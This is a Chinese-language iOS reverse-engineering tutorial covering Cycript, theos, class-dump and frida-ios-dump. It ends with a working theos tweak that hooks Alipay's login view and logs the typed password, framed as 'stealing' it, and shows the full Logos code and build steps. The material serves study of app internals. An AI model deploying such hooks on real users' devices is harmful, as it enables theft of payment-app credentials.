adv-cmds
adv cmds
是PushFix
依赖包中的一个组件,而PushFix
依赖包则是Cydia
插件必备依赖包(绝大多数Cydia
程序的依赖)之一在
Cydia
中,安装adv-cmds
插件
Cycript
在越狱环境中使用
Cycript
在越狱设备上,安装
Cycript
插件。需要先安装adv-cmds
插件,因为被Cycript
插件所依赖在
Cydia
中,安装Cycript
插件
在设备中打开
ps -A | grep WeChat ------------------------- 7619 ?? 0:39.37 /var/containers/Bundle/Application/454EA887-EB3B-43B3-ABFD-B9B2CA006981/WeChat.app/WeChat
针对
cy
环境root# cycript -p 7619
此时我们并没有污染
cycript
命令进行调试了例如:获取
UIApplication
UIApp ------------------------- #"<UIApplication: 0x10db0c260>"
导入cy文件
在越狱环境中,使用自定义
cy
文件找到之前使用的“获取当前控制器”的
cy
脚本,在越狱环境中,将脚本拷贝到设备上的Cycript
指定目录下,即可使用将
cur_vc.cy
脚本,拷贝到/usr/lib/cycript0.9
目录下scp -P 12345 ./cur_vc.cy root@localhost:/usr/lib/cycript0.9 ------------------------- cur_vc.cy 100% 959 496.6KB/s 00:00
针对
cy
环境。可以使用进程id
或名称cycript -p WeChat
导入
cur_vc
脚本@import cur_vc ------------------------- {}
获取当前控制器
currentVC() ------------------------- #"<MoreViewController: 0x10f36da00>"
使用
cy
文件,必须拷贝到Cycript
指定目录下,这样很可能造成文件冲突。所以Cycript
引入了命名空间,可以将cy
文件拷贝到不同子目录中,然后按照指定规则导入在
/usr/lib/cycript0.9
目录下,已经默认存在一些子目录iPhone6P:/usr/lib/cycript0.9 root# ls ------------------------- com/ cur_vc.cy* org/
在
com
目录下,存在以作者名字命名的saurik
目录,里面存储了官方的MS.cy
脚本iPhone6P:/usr/lib/cycript0.9/com root# ls ------------------------- saurik/
仿照官方的目录结构,在
com
目录下,创建自定义目录mkdir zang
将
cur_vc
脚本,移动到自定义目录下mv ./cur_vc.cy /usr/lib/cycript0.9/com/zang
进入
cy
环境,导入cur_vc
脚本@import com.zang.cur_vc ------------------------- {}
使用这种方式,保证了脚本的唯一性,有效避免文件冲突。并且按不同目录划分,更利于脚本的管理
theos
theos
是一个越狱开发工具包,使用它可以创建Tweak
项目,动态Hook
第三方程序使用
MonkeyDev
框架,它提供的Logos
语法,其实也依赖于theos
theos
安装sudo git clone --recursive https://github.com/theos/theos.git /opt/theos
theos
有很多依赖库,使用recursive
参数,可以循环下载,将依赖库一并安装opt
目录,用来安装附加软件包。有时会出现系统权限问题,建议将theos
安装自定义目录。或者安装到opt
目录,然后在自定义目录中拷贝一份
theos
安装后,配置环境变量vim ~/.zshrc ------------------------- export THEOS=/Users/zang/Zang/Tools/theos export PATH=$THEOS/bin:$PATH
安装
theos
的过程中,可能会一同安装ldid
ldid
是针对越狱插件的签名工具。如果未安装,需要手动安装brew install ldid
theos插件
使用
theos
插件,窃取Alipay
的登录密码在设备中打开
Alipay
,并找到它的进程ps -A | grep Alipay ------------------------- 8147 ?? 0:27.89 /var/containers/Bundle/Application/995CAC20-52A5-4D23-A605-FCF623931B79/AlipayWallet.app/AlipayWallet
进入
Alipay
进程的cy
环境cycript -p AlipayWallet
导入
cur_vc
脚本@import com.zang.cur_vc
动态调试
进入
Alipay
的密码登录页面查看当前控制器
currentVC() ------------------------- #"<ALULoginContainerController: 0x10bf68860>"
打印控制器下所有视图
#0x10bf68860.view.recursiveDescription() .toString ()
首先找到登录按钮
在输出的视图中,搜索“登录”文案,找不到任何结果。因为在
cy
环境中,中文使用了Unicode
编码将“登录”文案,通过
Unicode
编码为\u767b\u5f55
在输出的视图中,搜索
\u767b\u5f55
- 共找到两处“登录”文案,第一处是“登录”,第二处是“换个方式登录”
找到“登录”按钮的
UIButton
| | | <AUButton: 0x118e08500; baseClass = UIButton; frame = (16 367.667; 382 51); clipsToBounds = YES; opaque = NO; layer = <CALayer: 0x283f66aa0>> | | | | <UIImageView: 0x118e49990; frame = (0 0; 382 51); clipsToBounds = YES; opaque = NO; userInteractionEnabled = NO; layer = <CALayer: 0x283f67da0>> | | | | <UIButtonLabel: 0x118e08af0; frame = (170.667 13.6667; 41 24); text = '\u767b\u5f55'; opaque = NO; userInteractionEnabled = NO; layer = <_UILabelLayer: 0x281e69400>> | | | | | <_UILabelContentLayer: 0x283f49d20> (layer)
找到
UIButton
的事件响应者和事件名称找到
UIButton
的事件响应者#0x118e08500.allTargets ------------------------- [NSSet setWithArray:@[#"<AUButton: 0x118e08500; baseClass = UIButton; frame = (16 367.667; 382 51); clipsToBounds = YES; opaque = NO; layer = <CALayer: 0x283f66aa0>>",#"<ALUAccuratePWDView: 0x118e501a0; frame = (0 0; 414 736); layer = <CALayer: 0x283f85880>>"]]]
- 找到两个响应者,一个是
UIButton
自身,另一个是ALUAccuratePWDView
控件确认
UIButton
的触摸事件#0x118e08500.allControlEvents ------------------------- 64
64
对应的UIControlEventTouchUpInside
枚举值找到
UIControlEventTouchUpInside
的定义UIControlEventTouchUpInside = 1 << 6
1
左移6
位,即:2
的6
次方,结果为64
当
UIButton
触发UIControlEventTouchUpInside
,事件响应者为ALUAccuratePWDView
找到响应者的事件名称
通过响应者和触摸事件,找到事件名称
[#0x118e08500 actionsForTarget: #0x118e501a0 forControlEvent: 64] ------------------------- @["onNext"]
参数1
为响应者对象,参数2
为触摸事件的枚举值,返回事件名称onNext
登录的
UIButton
可触发ALUAccuratePWDView
对象的onNext
方法
找到密码文本框
在密码框中输入
123456
使用老套路,在输出的视图中,搜索
123456
- 找到密码框的
UITextField
从视图结构的层级分析:
UITextField
→aluInputBox
→aluAccurateLoginBox
→ALUAccuratePWDView
和密码框相关的父视图,可追寻至
ALUAccuratePWDView
控件。此控件也是“登录”按钮的事件响应者
静态分析
使用
frida-ios-dump
导出Alipay
frida-ps -U ------------------------- PID Name 7652 Cydia 7619 微信 8147 支付宝 ...
dump.py 支付宝
解压
ipa
,拷贝出MachO
文件,使用class-dump
导出头文件class-dump -H AlipayWallet -o ./header
- 小窍门:将包内容按大小排序,可快速定位
MachO
文件找到
ALUAccuratePWDView.h
文件
- 并没有找到
aluAccurateLoginBox
对象,但有一个命名为_loginBox
的aluLoginBox
对象找到
aluLoginBox.h
文件
- 找到了命名为
_passwordInputBox
的aluInputBox
对象找到
aluInputBox.h
文件
- 找到了命名为
_textField
的aluTextField
对象,继承自UITextField
可以锁定密码文本框的查找路径:
self
(ALUAccuratePWDView
)→_loginBox
(aluLoginBox
)→_passwordInputBox
(aluInputBox
)→_textField
(UITextField
)→text
(属性)在
ALUAccuratePWDView.h
文件中,同时找到了onNext
方法
可以确定登录按钮的响应事件:
[ALUAccuratePWDView onNext]
搭建theos插件
使用
nic.pl
,创建插件nic.pl ------------------------- NIC 2.0 - New Instance Creator [1.] iphone/activator_event [2.] iphone/activator_listener [3.] iphone/application_modern [4.] iphone/application_swift [5.] iphone/cydget [6.] iphone/flipswitch_switch [7.] iphone/framework [8.] iphone/library [9.] iphone/notification_center_widget [10.] iphone/notification_center_widget-7up [11.] iphone/preference_bundle_modern [12.] iphone/theme [13.] iphone/tool [14.] iphone/tool_swift [15.] iphone/tweak [16.] iphone/tweak_with_simple_preferences [17.] iphone/xpc_service Choose a Template (required):
输入
15
,选择iphone/tweak
插件输入工程名称
Project Name (required): AlipayPwdDemo
输入包名称,类似
BundleID
,要求全部小写Package Name [com.yourcompany.alipaypwddemo]: com.zang.alipaypwddemo
输入作者名称,默认计算机名称。如果不修改,直接回车
Author/Maintainer Name [zang]:
输入插件将要附加的进程,填写
BundleID
。可以在cy
环境,通过APPID
获取[iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]: com.alipay.iphoneclient
输入附加后杀掉的进程,默认为
SpringBoard
(桌面进程),杀掉后所有进程都会重启。如果不修改,直接回车[iphone/tweak] List of applications to terminate upon installation (space-separated, '-' for none) [SpringBoard]:
插件创建完成,生成
tweak
工程
AlipayPwdDemo.plist
:附加应用的包名称control
:配置信息,版本号、作者名称等Makefile
:编译时用到的文件,需要配置Tweak.x
:代码,使用Logos
语法
修改
Tweak.x
文件的后缀名
.x
文件支持OC
语法,我们需要支持OC
、C/C++
语法的.xm
文件,故此将Tweak.x
修改为Tweak.xm
修改
Makefile
手机安装插件,也是通过
SSH
连接的,所以在Makefile
中,增加USB
连接的IP
和端口的配置export THEOS_DEVICE_IP=localhost export THEOS_DEVICE_PORT=12345
由于
Tweak.x
文件的后缀名修改,在Makefile
中,同步修改AlipayPwdDemo_FILES
AlipayPwdDemo_FILES = Tweak.xm
将
alipaypwddemo
目录,使用vscode
打开打开
Tweak.xm
文件,写入以下代码:#import <UIKit/UIKit.h> %hook ALUAccuratePWDView - (void)onNext { UIView *view1 = MSHookIvar<UIView *>(self, "_loginBox"); UIView *view2 = MSHookIvar<UIView *>(view1, "_passwordInputBox"); UITextField *pwd = MSHookIvar<UITextField *>(view2, "_textField"); NSLog(@"登录密码:%@", pwd.text); } %end
安装theos插件
工程目录中,不允许包含中文,否则编译报错
使用终端,进入
alipaypwddemo
目录cd /Users/zang/Zang/Spark/LG/alipaypwddemo
清理工程
make clean ------------------------- ==> Cleaning…
编译工程
make ------------------------- ==> Notice: Build may be slow as Theos isn’t using all available CPU cores on this computer. Consider upgrading GNU Make: https://github.com/theos/theos/wiki/Parallel-Building Making all for tweak AlipayPwdDemo… ==> Preprocessing Tweak.xm… ==> Compiling Tweak.xm (armv7)… ... ==> Merging tweak AlipayPwdDemo… ==> Signing AlipayPwdDemo…
打包
make package ------------------------- ==> Notice: Build may be slow as Theos isn’t using all available CPU cores on this computer. Consider upgrading GNU Make: https://github.com/theos/theos/wiki/Parallel-Building Making all for tweak AlipayPwdDemo… make[2]: Nothing to be done for `internal-library-compile'. Making stage for tweak AlipayPwdDemo… dm.pl: building package `com.zang.alipaypwddemo:iphoneos-arm' in `./packages/com.zang.alipaypwddemo_0.0.1-1+debug_iphoneos-arm.deb'
安装
make install ------------------------- ==> Installing… Selecting previously unselected package com.zang.alipaypwddemo. (Reading database ... 1859 files and directories currently installed.) Preparing to unpack /tmp/_theos_install.deb ... Unpacking com.zang.alipaypwddemo (0.0.1-1+debug) ... Setting up com.zang.alipaypwddemo (0.0.1-1+debug) ... ==> Unloading SpringBoard…
安装成功后,设备的
SpringBoard
(桌面进程)重启在
Cydia
中,可以看到我们的自定义插件
Mac
电脑上,打开Devices and Simulators
,选择Open Console
,打开控制台
手机上,打开
Alipay
,进入密码登录页,输入123456
,点击登录按钮
HOOK
成功,使用theos
插件,在不污染应用的情况下,窃取到Alipay
的登录密码
theos与Xcode
如果电脑中有多个版本的
Xcode
,需要指定Xcode
路径获取
Xcode
路径xcode-select -p ------------------------- /Applications/Xcode.app/Contents/Developer
指定
Xcode
路径xcode-select --switch /Applications/Xcode.app/Contents/Developer
总结
Cycript
- 越狱手机安装
Cycript
插件,依赖于adv-cmds
插件- 依附进程,使用
cycript -p 进程id/名称
导入
cy
文件
- 将自定义
cy
文件,放入/usr/lib/cycript0.9
目录中- 为了不重名,放入
com
目录中,创建自己组织的文件夹- 加载时,使用
@import com.组织名称.文件名称
theos
- 是一个越狱开发工具包
- 可以创建
Tweak
项目,动态Hook
第三方程序搭建
theos
插件
- 使用
nic.pl
→15
,创建iphone/tweak
插件- 输入的包名称,类似
BundleID
,要求全部小写- 需要支持
OC
、C/C++
语法,修改Tweak.x
文件后缀名,改为.xm
- 文件后缀名的修改,同步修改
Makefile
文件中的配置Makefile
文件中,增加USB
连接的IP
和端口安装
theos
插件
- 工程目录中,不允许包含中文,否则编译报错
- 清理工程:
make clean
- 编译工程:
make
- 打包:
make package
- 安装:
make install
theos
与Xcode
- 多个版本的
Xcode
,需要指定Xcode
路径- 获取
Xcode
路径,使用xcode-select -p
- 指定
Xcode
路径,使用xcode-select --switch /Applications/Xcode.app/Contents/Developer